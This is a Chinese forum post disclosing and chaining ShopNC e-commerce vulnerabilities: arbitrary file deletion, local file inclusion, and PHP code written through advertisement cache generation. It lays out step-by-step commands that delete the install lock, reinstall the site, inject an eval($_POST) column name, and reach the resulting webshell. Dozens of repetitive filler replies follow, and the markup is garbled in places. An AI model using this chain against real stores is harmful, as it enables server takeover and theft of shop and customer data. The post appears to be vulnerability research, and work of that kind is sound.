or 注册

电子商务系统ShopNC多个漏洞(可暴力 getshell)

前言[p=26, null, left][size=15px]ShopNC是一款S是网城创想公司旗下服务于企业客户的电子商务系统,基于PHP5技术采用MVC 模式开发,本文介绍了shopnc多个漏洞结合,可getshell有点暴力-_-[/size][/p]
任意文件删除[p=26, null, left][size=15px]文件 control\store.php 1438 行 (还有几个同样的地方,新版已修复)[/size][/p]
$model_upload = Model('upload');
$file_info = $model_upload->getOneUpload(intval($_GET['file_id']));
if(!$file_info){
@unlink(ATTACH_SLIDE.DS.$_GET['img_src']);
}else{
本地文件包含[p=26, null, left][size=15px]文件 /framework/core/base.php 71行[/size][/p]
$act_file = realpath( BasePath.DS."control".DS.$_GET['act'].".php" );
}
if ( is_file( $act_file ) )
{
require( $act_file );
$class_name = $_GET['act']."Control";
if ( class_exists( $class_name ) )
后台更新缓存写shell[p=26, null, left][size=15px]文件 model/adv_model.php 416 行[/size][/p]
/**
* 更新一条广告缓存
*
* @param unknown_type $adv
* @return unknown
*/
public function makeAdvCache($adv){
$lang = Language::getLangContent();
$tmp .= "<?php \r\n";
$tmp .= "defined('InShopNC') or exit('Access Invalid!'); \r\n";
if (is_numeric($adv) && $adv > 0){

$condition['adv_id'] = $adv;
$adv_info = $this->getList($condition);
$adv = $adv_info['0'];
}
..................................
$content = addslashes($v);
$content = str_replace('[p=26, null, left][color=rgb(88, 88, 88)][font=微软雅黑][size=15px]继续跟进getList函数[/size][/font][/color][/p][code]public function getList($condition=array(), $page='', $limit='', $orderby=''){
$param = array();
$param['table'] = 'adv';
$param['field'] = $condition['field']?$condition['field']:'*';
$param['where'] = $this->getCondition($condition);
if($orderby == ''){
$param['order'] = 'slide_sort, adv_id desc';
}else{
$param['order'] = $orderby;
}
$param['limit'] = $limit;
return Db::select($param,$page);
}
[p=26, null, left][size=15px]写文件时,从数据库中遍历key,跟value 未过滤key,key 可以从数据库读取,当有数据库可控时,即可写入任意文件.[/size][/p]ShopNc GetShell[p=26, null, left][size=15px]结合以上三个漏洞,即可优雅的 getshell
流程[/size]
[/p]
任意文件删除 => 重装 => 更改数据库 shopnc_adv 键值 =>更新广告缓存 =>getshell
[p=26, null, left][size=15px]体步骤
[/size]
[/p][p=26, null, left][size=15px]1:yum/index.php?act ... /../../install/lock
[/size]
[/p][p=26, null, left][size=15px]2:重装系统
3:进入MySQL 执行sql ALTER TABLE `shopnc_adv` ADD `{eval($_POST[1])}` VARCHAR( 100 ) NOT NULL
[/size]
[/p][p=26, null, left][size=15px]4:进入后台 更新广告缓存 yuming/admin/index.php?act=adv&op=adv_edit&adv_id=14
[/size]
[/p][p=26, null, left][size=15px]5:连接shell yuming/index.php?act=../cache/adv/adv_14.cache[/size][/p][p=26, null, left][size=15px]继续跟进getList函数[/size][/p]

84 个评论

:L这个好像早就修复过了 老帖子了吧
顶顶多好
难得一见的好帖
楼主是超人
LZ真是人才
真心顶
[attach]1160[/attach]
[attach]1160[/attach]
好帖就是要顶
真心顶
顶顶多好
难得一见的好帖
不错不错
很好哦
顶顶多好
好帖就是要顶
说的非常好
真心顶
LZ真是人才
真心顶
顶顶多好
好帖就是要顶
楼主是超人
好帖就是要顶
顶顶多好
很好哦
难得一见的好帖
很不错
LZ真是人才
说的非常好
顶顶多好
很好哦
不错不错
说的非常好
好帖就是要顶
很好哦
顶顶多好
很不错
楼主是超人
顶顶多好
说的非常好
难得一见的好帖
不错不错
说的非常好
难得一见的好帖
真心顶
好帖就是要顶
不错不错
好帖就是要顶
楼主是超人
LZ真是人才
很好哦
真心顶
好帖就是要顶
楼主是超人
很好哦
很不错
LZ真是人才
难得一见的好帖
LZ真是人才
真心顶
很不错
好帖就是要顶
真心顶
难得一见的好帖
楼主是超人
说的非常好
不错不错
LZ真是人才
说的非常好
好帖就是要顶
难得一见的好帖
很不错
不错不错
好帖就是要顶
很好哦
不错不错
很不错
很好哦
楼主是超人
难得一见的好帖
LZ真是人才
顶顶多好
楼主看好你哦

要回复文章请先登录注册